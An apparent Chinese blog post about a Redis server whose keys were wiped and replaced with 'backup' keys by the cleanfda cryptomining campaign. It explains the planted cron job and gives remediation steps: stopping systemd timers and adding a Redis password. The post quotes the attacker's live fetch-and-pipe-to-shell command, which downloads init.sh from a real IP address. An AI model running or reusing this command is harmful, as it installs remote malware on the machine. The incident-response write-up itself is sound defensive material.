解决redis的key都变成了backup,redis所有缓存被清空

  1. 起因:reids里面所有的key都被清空,并且会多出几个buckup的key,

在这里插入图片描述

随便点开一个key,内容如下,

在这里插入图片描述
这是一个在 Linux 中使用 cron 运行的定时任务,其目的是从指定的 URL 下载并执行一个 shell 脚本。

了解 cron 和常见的时间表达式是理解这个任务的关键。这个任务中的时间表达式是“*/5 * * * *”,分别表示任务应该在每小时的第 0、5、10、15、…、55 分钟运行。

在 cron 中,每个时间字段都有一个特定的含义,以星号 (*) 的形式表示。每个时间字段的含义如下:

第一个字段是分钟(0 - 59)
第二个字段是小时(0 - 23)
第三个字段是日期(1 - 31)
第四个字段是月份(1 - 12)
第五个字段是星期几(0 - 6,0 表示星期日)
因此,这个任务的时间表达式表示“每小时的第 0、5、10、15、…、55 分钟运行”。

任务的实际命令是“wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh”,它执行了一个叫做“init.sh”的 shell 脚本,这个脚本的内容通过 HTTP 下载并传递给 shell 解释器进行执行。

在 Linux 中,cron 是一个非常常见的定时任务管理器,可以让用户在指定的时间或时间间隔内运行命令或脚本。通过 cron,用户可以轻松地管理自动化任务,例如自动备份文件,自动化测试或定期下载和更新软件包。

监控redis是否被定时任务执行了

在这里插入图片描述
发现redis里面的key,确实被定时任务清空了

redis的key消失,问题就是被上面的脚本给清空了,现在就是要找到这个执行这个cron的定时任务

使用命令:systemctl list-timers --all 来查出所有的定时任务
停止定时任务:sudo systemctl stop <定时任务名称>.timer
禁用定时任务:sudo systemctl disable <定时任务名称>.timer
在这里插入图片描述

最后,为了避免互联网可访问的服务器再次被黑,必须增加redis密码,来限制

找到redis的配置文件redis.conf,增加requirepass @redis123的密码
在这里插入图片描述
重新运行一个redis容器,

docker run -id \
-p 6379:6379 \
-v /home/docker/redis/redis.conf:/etc/redis/redis.conf \
-v /home/docker/redis/data:/data \
-e @redis123 \
--name redis \
redis:5.0.2 redis-server /etc/redis/redis.conf  

总结:互联网可访问的服务器被黑客黑了,最好把服务器的防火墙开启,限制开放的端口,并且redis要加上密码

问题解析来源:

Redis 未授权访问漏洞分析 cleanfda 脚本复现漏洞挖矿 :https://www.renfei.net/posts/1003501

Redis扩散病毒之Redis数据丢失并设置backup:https://juejin.cn/post/7195199519624003642

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值